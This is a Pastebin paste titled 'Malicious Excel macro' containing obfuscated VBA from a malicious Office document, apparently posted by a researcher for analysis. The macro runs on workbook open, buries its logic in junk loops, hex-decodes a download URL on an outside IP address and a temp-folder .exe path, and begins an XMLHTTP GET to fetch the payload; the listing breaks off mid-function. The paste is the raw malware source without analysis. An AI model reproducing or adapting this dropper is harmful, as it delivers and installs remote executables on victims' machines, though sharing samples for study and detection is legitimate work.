Advertisement
dynamoo

Malicious Excel macro

Dec 19th, 2014
1,304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "Ёта нига"
  2. Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = False
  8. Attribute VB_Customizable = True
  9. Public Function fdhdfgdfvdfv(ByVal zoIypDNwwjV As String) As String
  10. Dim TguctfjIxu As String
  11. Dim GDbwUbQj As String
  12. Dim AVYhrmO As Long
  13. For AVYhrmO = 1 To Len(zoIypDNwwjV) Step 2
  14.  
  15. Dim iLPfEiES As Integer
  16.  
  17. Dim OJqAhgyp As Integer
  18. OJqAhgyp = 5
  19. Do While OJqAhgyp < 41
  20. DoEvents: OJqAhgyp = OJqAhgyp + 1
  21. Loop
  22.  
  23. iLPfEiES = 2
  24. Do While iLPfEiES < 91
  25.  
  26. Dim ViDlxznq As Integer
  27. ViDlxznq = 7
  28. Do While ViDlxznq < 74
  29. DoEvents: ViDlxznq = ViDlxznq + 1
  30. Loop
  31.  
  32. DoEvents: iLPfEiES = iLPfEiES + 1
  33.  
  34. Dim pGJeYTsP As Integer
  35. pGJeYTsP = 9
  36. Do While pGJeYTsP < 38
  37. DoEvents: pGJeYTsP = pGJeYTsP + 1
  38. Loop
  39.  
  40. Loop
  41.  
  42.  
  43. Dim gdjyLRpN As Integer
  44. gdjyLRpN = 1
  45. Do While gdjyLRpN < 43
  46. DoEvents: gdjyLRpN = gdjyLRpN + 1
  47. Loop
  48.  
  49. TguctfjIxu = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(zoIypDNwwjV, AVYhrmO, 2)))
  50.  
  51. Dim JGzCvngd As Integer
  52.  
  53. Dim BNwPvQCk As Integer
  54. BNwPvQCk = 1
  55. Do While BNwPvQCk < 72
  56. DoEvents: BNwPvQCk = BNwPvQCk + 1
  57. Loop
  58.  
  59. JGzCvngd = 6
  60. Do While JGzCvngd < 97
  61.  
  62. Dim qYOUchUB As Integer
  63. qYOUchUB = 3
  64. Do While qYOUchUB < 32
  65. DoEvents: qYOUchUB = qYOUchUB + 1
  66. Loop
  67.  
  68. DoEvents: JGzCvngd = JGzCvngd + 1
  69.  
  70. Dim QICEvWCG As Integer
  71. QICEvWCG = 7
  72. Do While QICEvWCG < 11
  73. DoEvents: QICEvWCG = QICEvWCG + 1
  74. Loop
  75.  
  76. Loop
  77.  
  78.  
  79. Dim JBCPHGEN As Integer
  80. JBCPHGEN = 8
  81. Do While JBCPHGEN < 24
  82. DoEvents: JBCPHGEN = JBCPHGEN + 1
  83. Loop
  84.  
  85. GDbwUbQj = GDbwUbQj & TguctfjIxu
  86. Next AVYhrmO
  87.  
  88. Dim ARCfhUex As Integer
  89.  
  90. Dim MZWFRmLD As Integer
  91. MZWFRmLD = 9
  92. Do While MZWFRmLD < 39
  93. DoEvents: MZWFRmLD = MZWFRmLD + 1
  94. Loop
  95.  
  96. ARCfhUex = 3
  97. Do While ARCfhUex < 66
  98.  
  99. Dim GujiPjhF As Integer
  100. GujiPjhF = 6
  101. Do While GujiPjhF < 92
  102. DoEvents: GujiPjhF = GujiPjhF + 1
  103. Loop
  104.  
  105. DoEvents: ARCfhUex = ARCfhUex + 1
  106.  
  107. Dim VGWEDiKr As Integer
  108. VGWEDiKr = 9
  109. Do While VGWEDiKr < 79
  110. DoEvents: VGWEDiKr = VGWEDiKr + 1
  111. Loop
  112.  
  113. Loop
  114.  
  115.  
  116. Dim kvmYtOTF As Integer
  117. kvmYtOTF = 4
  118. Do While kvmYtOTF < 16
  119. DoEvents: kvmYtOTF = kvmYtOTF + 1
  120. Loop
  121.  
  122. fdhdfgdfvdfv = GDbwUbQj
  123. End Function
  124.  
  125.  
  126. Sub Auto_Open()
  127.  
  128. Dim HfmTgPKy As Integer
  129.  
  130. Dim OXOSGcGS As Integer
  131.  
  132. Dim miHNpSmb As Integer
  133. miHNpSmb = 4
  134. Do While miHNpSmb < 24
  135. DoEvents: miHNpSmb = miHNpSmb + 1
  136. Loop
  137.  
  138. OXOSGcGS = 4
  139. Do While OXOSGcGS < 89
  140.  
  141. Dim RzHBfcnl As Integer
  142. RzHBfcnl = 6
  143. Do While RzHBfcnl < 43
  144. DoEvents: RzHBfcnl = RzHBfcnl + 1
  145. Loop
  146.  
  147. DoEvents: OXOSGcGS = OXOSGcGS + 1
  148.  
  149. Dim DBYQZoIr As Integer
  150. DBYQZoIr = 5
  151. Do While DBYQZoIr < 24
  152. DoEvents: DBYQZoIr = DBYQZoIr + 1
  153. Loop
  154.  
  155. Loop
  156.  
  157.  
  158. Dim UUYQnkBE As Integer
  159. UUYQnkBE = 7
  160. Do While UUYQnkBE < 11
  161. DoEvents: UUYQnkBE = UUYQnkBE + 1
  162. Loop
  163.  
  164. HfmTgPKy = 6
  165. Do While HfmTgPKy < 65
  166.  
  167. Dim eToGuBZw As Integer
  168.  
  169. Dim HPHaXeMP As Integer
  170. HPHaXeMP = 8
  171. Do While HPHaXeMP < 21
  172. DoEvents: HPHaXeMP = HPHaXeMP + 1
  173. Loop
  174.  
  175. eToGuBZw = 8
  176. Do While eToGuBZw < 26
  177.  
  178. Dim TCfpJqCz As Integer
  179. TCfpJqCz = 6
  180. Do While TCfpJqCz < 93
  181. DoEvents: TCfpJqCz = TCfpJqCz + 1
  182. Loop
  183.  
  184. DoEvents: eToGuBZw = eToGuBZw + 1
  185.  
  186. Dim DeffRtDy As Integer
  187. DeffRtDy = 5
  188. Do While DeffRtDy < 53
  189. DoEvents: DeffRtDy = DeffRtDy + 1
  190. Loop
  191.  
  192. Loop
  193.  
  194.  
  195. Dim BInqEOxD As Integer
  196. BInqEOxD = 1
  197. Do While BInqEOxD < 78
  198. DoEvents: BInqEOxD = BInqEOxD + 1
  199. Loop
  200.  
  201. DoEvents: HfmTgPKy = HfmTgPKy + 1
  202.  
  203. Dim NCOGTeQI As Integer
  204.  
  205. Dim sumPPjjI As Integer
  206. sumPPjjI = 9
  207. Do While sumPPjjI < 42
  208. DoEvents: sumPPjjI = sumPPjjI + 1
  209. Loop
  210.  
  211. NCOGTeQI = 1
  212. Do While NCOGTeQI < 72
  213.  
  214. Dim SyXIqGNl As Integer
  215. SyXIqGNl = 5
  216. Do While SyXIqGNl < 25
  217. DoEvents: SyXIqGNl = SyXIqGNl + 1
  218. Loop
  219.  
  220. DoEvents: NCOGTeQI = NCOGTeQI + 1
  221.  
  222. Dim AmpEjXtR As Integer
  223. AmpEjXtR = 6
  224. Do While AmpEjXtR < 59
  225. DoEvents: AmpEjXtR = AmpEjXtR + 1
  226. Loop
  227.  
  228. Loop
  229.  
  230.  
  231. Dim WidhgmYi As Integer
  232. WidhgmYi = 6
  233. Do While WidhgmYi < 64
  234. DoEvents: WidhgmYi = WidhgmYi + 1
  235. Loop
  236.  
  237. Loop
  238.  
  239.  
  240. Dim uqBAlLaY As Integer
  241.  
  242. Dim yLzpzMFH As Integer
  243. yLzpzMFH = 8
  244. Do While yLzpzMFH < 81
  245. DoEvents: yLzpzMFH = yLzpzMFH + 1
  246. Loop
  247.  
  248. uqBAlLaY = 2
  249. Do While uqBAlLaY < 28
  250.  
  251. Dim XCxfNcFH As Integer
  252. XCxfNcFH = 7
  253. Do While XCxfNcFH < 72
  254. DoEvents: XCxfNcFH = XCxfNcFH + 1
  255. Loop
  256.  
  257. DoEvents: uqBAlLaY = uqBAlLaY + 1
  258.  
  259. Dim omlZBuVE As Integer
  260. omlZBuVE = 9
  261. Do While omlZBuVE < 34
  262. DoEvents: omlZBuVE = omlZBuVE + 1
  263. Loop
  264.  
  265. Loop
  266.  
  267.  
  268. Dim OjqtWnje As Integer
  269. OjqtWnje = 5
  270. Do While OjqtWnje < 83
  271. DoEvents: OjqtWnje = OjqtWnje + 1
  272. Loop
  273.  
  274. CPBNVGANNHK
  275.  
  276. Dim hmsdWdWG As Integer
  277.  
  278. Dim tlfwEQsO As Integer
  279.  
  280. Dim wVFVGnwx As Integer
  281. wVFVGnwx = 5
  282. Do While wVFVGnwx < 46
  283. DoEvents: wVFVGnwx = wVFVGnwx + 1
  284. Loop
  285.  
  286. tlfwEQsO = 2
  287. Do While tlfwEQsO < 57
  288.  
  289. Dim tLdBdEVn As Integer
  290. tLdBdEVn = 8
  291. Do While tLdBdEVn < 81
  292. DoEvents: tLdBdEVn = tLdBdEVn + 1
  293. Loop
  294.  
  295. DoEvents: tlfwEQsO = tlfwEQsO + 1
  296.  
  297. Dim ljpfqfid As Integer
  298. ljpfqfid = 4
  299. Do While ljpfqfid < 77
  300. DoEvents: ljpfqfid = ljpfqfid + 1
  301. Loop
  302.  
  303. Loop
  304.  
  305.  
  306. Dim GFTIaDGV As Integer
  307. GFTIaDGV = 8
  308. Do While GFTIaDGV < 22
  309. DoEvents: GFTIaDGV = GFTIaDGV + 1
  310. Loop
  311.  
  312. hmsdWdWG = 3
  313. Do While hmsdWdWG < 78
  314.  
  315. Dim UiIVJglI As Integer
  316.  
  317. Dim AhQoCPKt As Integer
  318. AhQoCPKt = 3
  319. Do While AhQoCPKt < 63
  320. DoEvents: AhQoCPKt = AhQoCPKt + 1
  321. Loop
  322.  
  323. UiIVJglI = 6
  324. Do While UiIVJglI < 15
  325.  
  326. Dim knftZQjq As Integer
  327. knftZQjq = 1
  328. Do While knftZQjq < 55
  329. DoEvents: knftZQjq = knftZQjq + 1
  330. Loop
  331.  
  332. DoEvents: UiIVJglI = UiIVJglI + 1
  333.  
  334. Dim NAibraGT As Integer
  335. NAibraGT = 1
  336. Do While NAibraGT < 77
  337. DoEvents: NAibraGT = NAibraGT + 1
  338. Loop
  339.  
  340. Loop
  341.  
  342.  
  343. Dim HRcjnBpR As Integer
  344. HRcjnBpR = 8
  345. Do While HRcjnBpR < 67
  346. DoEvents: HRcjnBpR = HRcjnBpR + 1
  347. Loop
  348.  
  349. DoEvents: hmsdWdWG = hmsdWdWG + 1
  350.  
  351. Dim GfUaRppQ As Integer
  352.  
  353. Dim aBdXUYNK As Integer
  354. aBdXUYNK = 1
  355. Do While aBdXUYNK < 44
  356. DoEvents: aBdXUYNK = aBdXUYNK + 1
  357. Loop
  358.  
  359. GfUaRppQ = 5
  360. Do While GfUaRppQ < 55
  361.  
  362. Dim bpHTxJIV As Integer
  363. bpHTxJIV = 5
  364. Do While bpHTxJIV < 86
  365. DoEvents: bpHTxJIV = bpHTxJIV + 1
  366. Loop
  367.  
  368. DoEvents: GfUaRppQ = GfUaRppQ + 1
  369.  
  370. Dim jiciwNLh As Integer
  371. jiciwNLh = 1
  372. Do While jiciwNLh < 14
  373. DoEvents: jiciwNLh = jiciwNLh + 1
  374. Loop
  375.  
  376. Loop
  377.  
  378.  
  379. Dim glZGHKtq As Integer
  380. glZGHKtq = 1
  381. Do While glZGHKtq < 15
  382. DoEvents: glZGHKtq = glZGHKtq + 1
  383. Loop
  384.  
  385. Loop
  386.  
  387.  
  388. Dim beZkwhVW As Integer
  389.  
  390. Dim hfWlamaK As Integer
  391. hfWlamaK = 4
  392. Do While hfWlamaK < 15
  393. DoEvents: hfWlamaK = hfWlamaK + 1
  394. Loop
  395.  
  396. beZkwhVW = 3
  397. Do While beZkwhVW < 33
  398.  
  399. Dim mGzWRpoH As Integer
  400. mGzWRpoH = 4
  401. Do While mGzWRpoH < 29
  402. DoEvents: mGzWRpoH = mGzWRpoH + 1
  403. Loop
  404.  
  405. DoEvents: beZkwhVW = beZkwhVW + 1
  406.  
  407. Dim Vlmczvle As Integer
  408. Vlmczvle = 7
  409. Do While Vlmczvle < 14
  410. DoEvents: Vlmczvle = Vlmczvle + 1
  411. Loop
  412.  
  413. Loop
  414.  
  415.  
  416. Dim PMRSGcQa As Integer
  417. PMRSGcQa = 5
  418. Do While PMRSGcQa < 13
  419. DoEvents: PMRSGcQa = PMRSGcQa + 1
  420. Loop
  421.  
  422. fdvdfvfd
  423. End Sub
  424. Sub AutoOpen()
  425.  
  426. Dim YwqhSLJS As Integer
  427.  
  428. Dim FlpSfQWY As Integer
  429.  
  430. Dim wbATzqVX As Integer
  431. wbATzqVX = 2
  432. Do While wbATzqVX < 27
  433. DoEvents: wbATzqVX = wbATzqVX + 1
  434. Loop
  435.  
  436. FlpSfQWY = 5
  437. Do While FlpSfQWY < 94
  438.  
  439. Dim pBHESkKf As Integer
  440. pBHESkKf = 9
  441. Do While pBHESkKf < 92
  442. DoEvents: pBHESkKf = pBHESkKf + 1
  443. Loop
  444.  
  445. DoEvents: FlpSfQWY = FlpSfQWY + 1
  446.  
  447. Dim iuudDdli As Integer
  448. iuudDdli = 9
  449. Do While iuudDdli < 32
  450. DoEvents: iuudDdli = iuudDdli + 1
  451. Loop
  452.  
  453. Loop
  454.  
  455.  
  456. Dim kNsBAJLG As Integer
  457. kNsBAJLG = 1
  458. Do While kNsBAJLG < 59
  459. DoEvents: kNsBAJLG = kNsBAJLG + 1
  460. Loop
  461.  
  462. YwqhSLJS = 6
  463. Do While YwqhSLJS < 46
  464.  
  465. Dim MPpKRYnJ As Integer
  466.  
  467. Dim vmPEJWFH As Integer
  468. vmPEJWFH = 3
  469. Do While vmPEJWFH < 88
  470. DoEvents: vmPEJWFH = vmPEJWFH + 1
  471. Loop
  472.  
  473. MPpKRYnJ = 6
  474. Do While MPpKRYnJ < 89
  475.  
  476. Dim eKUSqCzS As Integer
  477. eKUSqCzS = 1
  478. Do While eKUSqCzS < 53
  479. DoEvents: eKUSqCzS = eKUSqCzS + 1
  480. Loop
  481.  
  482. DoEvents: MPpKRYnJ = MPpKRYnJ + 1
  483.  
  484. Dim bkLMdxQh As Integer
  485. bkLMdxQh = 3
  486. Do While bkLMdxQh < 35
  487. DoEvents: bkLMdxQh = bkLMdxQh + 1
  488. Loop
  489.  
  490. Loop
  491.  
  492.  
  493. Dim rHJrYbBs As Integer
  494. rHJrYbBs = 8
  495. Do While rHJrYbBs < 89
  496. DoEvents: rHJrYbBs = rHJrYbBs + 1
  497. Loop
  498.  
  499. DoEvents: YwqhSLJS = YwqhSLJS + 1
  500.  
  501. Dim sRIBYjBS As Integer
  502.  
  503. Dim sWHpzWFY As Integer
  504. sWHpzWFY = 3
  505. Do While sWHpzWFY < 63
  506. DoEvents: sWHpzWFY = sWHpzWFY + 1
  507. Loop
  508.  
  509. sRIBYjBS = 3
  510. Do While sRIBYjBS < 32
  511.  
  512. Dim VbILkNxK As Integer
  513. VbILkNxK = 7
  514. Do While VbILkNxK < 15
  515. DoEvents: VbILkNxK = VbILkNxK + 1
  516. Loop
  517.  
  518. DoEvents: sRIBYjBS = sRIBYjBS + 1
  519.  
  520. Dim RHflQiqL As Integer
  521. RHflQiqL = 6
  522. Do While RHflQiqL < 49
  523. DoEvents: RHflQiqL = RHflQiqL + 1
  524. Loop
  525.  
  526. Loop
  527.  
  528.  
  529. Dim BhOwMHFY As Integer
  530. BhOwMHFY = 1
  531. Do While BhOwMHFY < 75
  532. DoEvents: BhOwMHFY = BhOwMHFY + 1
  533. Loop
  534.  
  535. Loop
  536.  
  537.  
  538. Dim TlQSRGnh As Integer
  539.  
  540. Dim hwiIizaN As Integer
  541. hwiIizaN = 3
  542. Do While hwiIizaN < 31
  543. DoEvents: hwiIizaN = hwiIizaN + 1
  544. Loop
  545.  
  546. TlQSRGnh = 4
  547. Do While TlQSRGnh < 45
  548.  
  549. Dim vwPxRwDi As Integer
  550. vwPxRwDi = 3
  551. Do While vwPxRwDi < 36
  552. DoEvents: vwPxRwDi = vwPxRwDi + 1
  553. Loop
  554.  
  555. DoEvents: TlQSRGnh = TlQSRGnh + 1
  556.  
  557. Dim DUZezrJX As Integer
  558. DUZezrJX = 8
  559. Do While DUZezrJX < 21
  560. DoEvents: DUZezrJX = DUZezrJX + 1
  561. Loop
  562.  
  563. Loop
  564.  
  565.  
  566. Dim ABEahMnZ As Integer
  567. ABEahMnZ = 6
  568. Do While ABEahMnZ < 94
  569. DoEvents: ABEahMnZ = ABEahMnZ + 1
  570. Loop
  571.  
  572.     Auto_Open
  573. End Sub
  574. Sub Workbook_Open()
  575.  
  576. Dim opOmJgwb As Integer
  577.  
  578. Dim NJddPwSl As Integer
  579.  
  580. Dim ODIncOvR As Integer
  581. ODIncOvR = 7
  582. Do While ODIncOvR < 49
  583. DoEvents: ODIncOvR = ODIncOvR + 1
  584. Loop
  585.  
  586. NJddPwSl = 1
  587. Do While NJddPwSl < 43
  588.  
  589. Dim oJDskGFT As Integer
  590. oJDskGFT = 2
  591. Do While oJDskGFT < 91
  592. DoEvents: oJDskGFT = oJDskGFT + 1
  593. Loop
  594.  
  595. DoEvents: NJddPwSl = NJddPwSl + 1
  596.  
  597. Dim mbHXAlbt As Integer
  598. mbHXAlbt = 2
  599. Do While mbHXAlbt < 88
  600. DoEvents: mbHXAlbt = mbHXAlbt + 1
  601. Loop
  602.  
  603. Loop
  604.  
  605.  
  606. Dim zbVBMPgc As Integer
  607. zbVBMPgc = 1
  608. Do While zbVBMPgc < 49
  609. DoEvents: zbVBMPgc = zbVBMPgc + 1
  610. Loop
  611.  
  612. opOmJgwb = 9
  613. Do While opOmJgwb < 32
  614.  
  615. Dim jBYSlVva As Integer
  616.  
  617. Dim elwjHyTL As Integer
  618. elwjHyTL = 1
  619. Do While elwjHyTL < 58
  620. DoEvents: elwjHyTL = elwjHyTL + 1
  621. Loop
  622.  
  623. jBYSlVva = 1
  624. Do While jBYSlVva < 49
  625.  
  626. Dim mwfVjhJK As Integer
  627. mwfVjhJK = 4
  628. Do While mwfVjhJK < 88
  629. DoEvents: mwfVjhJK = mwfVjhJK + 1
  630. Loop
  631.  
  632. DoEvents: jBYSlVva = jBYSlVva + 1
  633.  
  634. Dim tdNalwUM As Integer
  635. tdNalwUM = 8
  636. Do While tdNalwUM < 84
  637. DoEvents: tdNalwUM = tdNalwUM + 1
  638. Loop
  639.  
  640. Loop
  641.  
  642.  
  643. Dim WnttaXHd As Integer
  644. WnttaXHd = 9
  645. Do While WnttaXHd < 67
  646. DoEvents: WnttaXHd = WnttaXHd + 1
  647. Loop
  648.  
  649. DoEvents: opOmJgwb = opOmJgwb + 1
  650.  
  651. Dim ExZakUID As Integer
  652.  
  653. Dim HtwVCZGJ As Integer
  654. HtwVCZGJ = 6
  655. Do While HtwVCZGJ < 91
  656. DoEvents: HtwVCZGJ = HtwVCZGJ + 1
  657. Loop
  658.  
  659. ExZakUID = 6
  660. Do While ExZakUID < 36
  661.  
  662. Dim ZOdQaljc As Integer
  663. ZOdQaljc = 3
  664. Do While ZOdQaljc < 91
  665. DoEvents: ZOdQaljc = ZOdQaljc + 1
  666. Loop
  667.  
  668. DoEvents: ExZakUID = ExZakUID + 1
  669.  
  670. Dim tcSOPAec As Integer
  671. tcSOPAec = 2
  672. Do While tcSOPAec < 21
  673. DoEvents: tcSOPAec = tcSOPAec + 1
  674. Loop
  675.  
  676. Loop
  677.  
  678.  
  679. Dim gpIITlVl As Integer
  680. gpIITlVl = 1
  681. Do While gpIITlVl < 14
  682. DoEvents: gpIITlVl = gpIITlVl + 1
  683. Loop
  684.  
  685. Loop
  686.  
  687.  
  688. Dim YoDqwvXP As Integer
  689.  
  690. Dim XwAfyXtO As Integer
  691. XwAfyXtO = 7
  692. Do While XwAfyXtO < 76
  693. DoEvents: XwAfyXtO = XwAfyXtO + 1
  694. Loop
  695.  
  696. YoDqwvXP = 6
  697. Do While YoDqwvXP < 44
  698.  
  699. Dim sZVTdetn As Integer
  700. sZVTdetn = 9
  701. Do While sZVTdetn < 97
  702. DoEvents: sZVTdetn = sZVTdetn + 1
  703. Loop
  704.  
  705. DoEvents: YoDqwvXP = YoDqwvXP + 1
  706.  
  707. Dim UQhzbZKx As Integer
  708. UQhzbZKx = 4
  709. Do While UQhzbZKx < 77
  710. DoEvents: UQhzbZKx = UQhzbZKx + 1
  711. Loop
  712.  
  713. Loop
  714.  
  715.  
  716. Dim uGlFlOoc As Integer
  717. uGlFlOoc = 8
  718. Do While uGlFlOoc < 38
  719. DoEvents: uGlFlOoc = uGlFlOoc + 1
  720. Loop
  721.  
  722.     Auto_Open
  723. End Sub
  724.  
  725. Sub CPBNVGANNHK()
  726.  
  727. Dim RIeaJSDl As Integer
  728.  
  729. Dim FdLHFLmw As Integer
  730.  
  731. Dim TJKUXTEO As Integer
  732. TJKUXTEO = 6
  733. Do While TJKUXTEO < 93
  734. DoEvents: TJKUXTEO = TJKUXTEO + 1
  735. Loop
  736.  
  737. FdLHFLmw = 5
  738. Do While FdLHFLmw < 54
  739.  
  740. Dim VIEKqMfW As Integer
  741. VIEKqMfW = 1
  742. Do While VIEKqMfW < 41
  743. DoEvents: VIEKqMfW = VIEKqMfW + 1
  744. Loop
  745.  
  746. DoEvents: FdLHFLmw = FdLHFLmw + 1
  747.  
  748. Dim iEckqvHm As Integer
  749. iEckqvHm = 9
  750. Do While iEckqvHm < 97
  751. DoEvents: iEckqvHm = iEckqvHm + 1
  752. Loop
  753.  
  754. Loop
  755.  
  756.  
  757. Dim OTAnnieF As Integer
  758. OTAnnieF = 4
  759. Do While OTAnnieF < 48
  760. DoEvents: OTAnnieF = OTAnnieF + 1
  761. Loop
  762.  
  763. RIeaJSDl = 6
  764. Do While RIeaJSDl < 91
  765.  
  766. Dim sZzywhVN As Integer
  767.  
  768. Dim vJaIgyse As Integer
  769. vJaIgyse = 5
  770. Do While vJaIgyse < 31
  771. DoEvents: vJaIgyse = vJaIgyse + 1
  772. Loop
  773.  
  774. sZzywhVN = 9
  775. Do While sZzywhVN < 97
  776.  
  777. Dim lbiJaohu As Integer
  778. lbiJaohu = 4
  779. Do While lbiJaohu < 17
  780. DoEvents: lbiJaohu = lbiJaohu + 1
  781. Loop
  782.  
  783. DoEvents: sZzywhVN = sZzywhVN + 1
  784.  
  785. Dim mpEuvDPv As Integer
  786. mpEuvDPv = 2
  787. Do While mpEuvDPv < 86
  788. DoEvents: mpEuvDPv = mpEuvDPv + 1
  789. Loop
  790.  
  791. Loop
  792.  
  793.  
  794. Dim uLVTonBV As Integer
  795. uLVTonBV = 2
  796. Do While uLVTonBV < 53
  797. DoEvents: uLVTonBV = uLVTonBV + 1
  798. Loop
  799.  
  800. DoEvents: RIeaJSDl = RIeaJSDl + 1
  801.  
  802. Dim ViQcpOFI As Integer
  803.  
  804. Dim CzQPGHEH As Integer
  805. CzQPGHEH = 7
  806. Do While CzQPGHEH < 72
  807. DoEvents: CzQPGHEH = CzQPGHEH + 1
  808. Loop
  809.  
  810. ViQcpOFI = 9
  811. Do While ViQcpOFI < 45
  812.  
  813. Dim bGynmXvg As Integer
  814. bGynmXvg = 3
  815. Do While bGynmXvg < 39
  816. DoEvents: bGynmXvg = bGynmXvg + 1
  817. Loop
  818.  
  819. DoEvents: ViQcpOFI = ViQcpOFI + 1
  820.  
  821. Dim uaumWKkJ As Integer
  822. uaumWKkJ = 2
  823. Do While uaumWKkJ < 54
  824. DoEvents: uaumWKkJ = uaumWKkJ + 1
  825. Loop
  826.  
  827. Loop
  828.  
  829.  
  830. Dim lEZLhiKa As Integer
  831. lEZLhiKa = 2
  832. Do While lEZLhiKa < 55
  833. DoEvents: lEZLhiKa = lEZLhiKa + 1
  834. Loop
  835.  
  836. Loop
  837.  
  838.  
  839. Dim jalWDyrt As Integer
  840.  
  841. Dim UHTlFGXX As Integer
  842. UHTlFGXX = 4
  843. Do While UHTlFGXX < 78
  844. DoEvents: UHTlFGXX = UHTlFGXX + 1
  845. Loop
  846.  
  847. jalWDyrt = 4
  848. Do While jalWDyrt < 74
  849.  
  850. Dim NCPZMRil As Integer
  851. NCPZMRil = 7
  852. Do While NCPZMRil < 44
  853. DoEvents: NCPZMRil = NCPZMRil + 1
  854. Loop
  855.  
  856. DoEvents: jalWDyrt = jalWDyrt + 1
  857.  
  858. Dim tllHdaub As Integer
  859. tllHdaub = 2
  860. Do While tllHdaub < 29
  861. DoEvents: tllHdaub = tllHdaub + 1
  862. Loop
  863.  
  864. Loop
  865.  
  866.  
  867. Dim jalNfgmZ As Integer
  868. jalNfgmZ = 1
  869. Do While jalNfgmZ < 12
  870. DoEvents: jalNfgmZ = jalNfgmZ + 1
  871. Loop
  872.  
  873.     NMVBUIMOQXM fdhdfgdfvdfv("687474703A2F2F352E392E3235332E3138332F73737461742F6C6C6476732E706870"), Environ(fdhdfgdfvdfv("54454D50")) & fdhdfgdfvdfv("5C564D5559585759534658512E657865")
  874. End Sub
  875.  
  876. Function NMVBUIMOQXM(ByVal UMUFWTFSKCX As String, ByVal RCFFODVWBKD As String) As Boolean
  877.      Dim XBPRTLRBYRM As Object, VVXTBBFVINC As Long, PUTVPTITTWC As Long, QOSQEZUAJDG() As Byte
  878.  
  879.  
  880. Dim xRWYRQeF As Integer
  881.  
  882. Dim APjyVuof As Integer
  883.  
  884. Dim miWcARfU As Integer
  885. miWcARfU = 2
  886. Do While miWcARfU < 52
  887. DoEvents: miWcARfU = miWcARfU + 1
  888. Loop
  889.  
  890. APjyVuof = 6
  891. Do While APjyVuof < 38
  892.  
  893. Dim SiKKFYWm As Integer
  894. SiKKFYWm = 5
  895. Do While SiKKFYWm < 82
  896. DoEvents: SiKKFYWm = SiKKFYWm + 1
  897. Loop
  898.  
  899. DoEvents: APjyVuof = APjyVuof + 1
  900.  
  901. Dim LgFreCcg As Integer
  902. LgFreCcg = 9
  903. Do While LgFreCcg < 65
  904. DoEvents: LgFreCcg = LgFreCcg + 1
  905. Loop
  906.  
  907. Loop
  908.  
  909.  
  910. Dim zoWsMZhS As Integer
  911. zoWsMZhS = 1
  912. Do While zoWsMZhS < 17
  913. DoEvents: zoWsMZhS = zoWsMZhS + 1
  914. Loop
  915.  
  916. xRWYRQeF = 2
  917. Do While xRWYRQeF < 27
  918.  
  919. Dim JutvOvED As Integer
  920.  
  921. Dim uMMBZQkN As Integer
  922. uMMBZQkN = 8
  923. Do While uMMBZQkN < 81
  924. DoEvents: uMMBZQkN = uMMBZQkN + 1
  925. Loop
  926.  
  927. JutvOvED = 8
  928. Do While JutvOvED < 87
  929.  
  930. Dim MhnbWzeO As Integer
  931. MhnbWzeO = 6
  932. Do While MhnbWzeO < 65
  933. DoEvents: MhnbWzeO = MhnbWzeO + 1
  934. Loop
  935.  
  936. DoEvents: JutvOvED = JutvOvED + 1
  937.  
  938. Dim bFltvdWJ As Integer
  939. bFltvdWJ = 5
  940. Do While bFltvdWJ < 82
  941. DoEvents: bFltvdWJ = bFltvdWJ + 1
  942. Loop
  943.  
  944. Loop
  945.  
  946.  
  947. Dim CMAswmZO As Integer
  948. CMAswmZO = 7
  949. Do While CMAswmZO < 18
  950. DoEvents: CMAswmZO = CMAswmZO + 1
  951. Loop
  952.  
  953. DoEvents: xRWYRQeF = xRWYRQeF + 1
  954.  
  955. Dim ckugxORW As Integer
  956.  
  957. Dim TYshRYZT As Integer
  958. TYshRYZT = 6
  959. Do While TYshRYZT < 48
  960. DoEvents: TYshRYZT = TYshRYZT + 1
  961. Loop
  962.  
  963. ckugxORW = 5
  964. Do While ckugxORW < 87
  965.  
  966. Dim UkcwWSVu As Integer
  967. UkcwWSVu = 7
  968. Do While UkcwWSVu < 45
  969. DoEvents: UkcwWSVu = UkcwWSVu + 1
  970. Loop
  971.  
  972. DoEvents: ckugxORW = ckugxORW + 1
  973.  
  974. Dim CTgyytMj As Integer
  975. CTgyytMj = 7
  976. Do While CTgyytMj < 39
  977. DoEvents: CTgyytMj = CTgyytMj + 1
  978. Loop
  979.  
  980. Loop
  981.  
  982.  
  983. Dim cxOqBytC As Integer
  984. cxOqBytC = 5
  985. Do While cxOqBytC < 88
  986. DoEvents: cxOqBytC = cxOqBytC + 1
  987. Loop
  988.  
  989. Loop
  990.  
  991.  
  992. Dim iieTfHlt As Integer
  993.  
  994. Dim ImzbsySN As Integer
  995. ImzbsySN = 7
  996. Do While ImzbsySN < 18
  997. DoEvents: ImzbsySN = ImzbsySN + 1
  998. Loop
  999.  
  1000. iieTfHlt = 2
  1001. Do While iieTfHlt < 55
  1002.  
  1003. Dim tJbGgWnh As Integer
  1004. tJbGgWnh = 2
  1005. Do While tJbGgWnh < 53
  1006. DoEvents: tJbGgWnh = tJbGgWnh + 1
  1007. Loop
  1008.  
  1009. DoEvents: iieTfHlt = iieTfHlt + 1
  1010.  
  1011. Dim fKCNWxJO As Integer
  1012. fKCNWxJO = 1
  1013. Do While fKCNWxJO < 11
  1014. DoEvents: fKCNWxJO = fKCNWxJO + 1
  1015. Loop
  1016.  
  1017. Loop
  1018.  
  1019.  
  1020. Dim lePRUQxm As Integer
  1021. lePRUQxm = 4
  1022. Do While lePRUQxm < 23
  1023. DoEvents: lePRUQxm = lePRUQxm + 1
  1024. Loop
  1025.  
  1026.     Set XBPRTLRBYRM = CreateObject("MSXML2.XMLHTTP")
  1027.     XBPRTLRBYRM.Open "GET", UMUFWTFSKCX, False
  1028.  
  1029. Dim TEvjflXn As Integer
  1030.  
  1031. Dim yxSCoxvJ As Integer
  1032.  
  1033. Dim eYyVRPih As Integer
  1034. eYyVRPih = 1
  1035. Do While eYyVRPih < 61
  1036. DoEvents: eYyVRPih = eYyVRPih + 1
  1037. Loop
  1038.  
  1039. yxSCoxvJ = 2
  1040. Do While yxSCoxvJ < 58
  1041.  
  1042. Dim djtGCykx As Integer
  1043. djtGCykx = 1
  1044. Do While djtGCykx < 15
  1045. DoEvents: djtGCykx = djtGCykx + 1
  1046. Loop
  1047.  
  1048. DoEvents: yxSCoxvJ = yxSCoxvJ + 1
  1049.  
  1050. Dim ebJJXMCX As Integer
  1051. ebJJXMCX = 1
  1052. Do While ebJJXMCX < 58
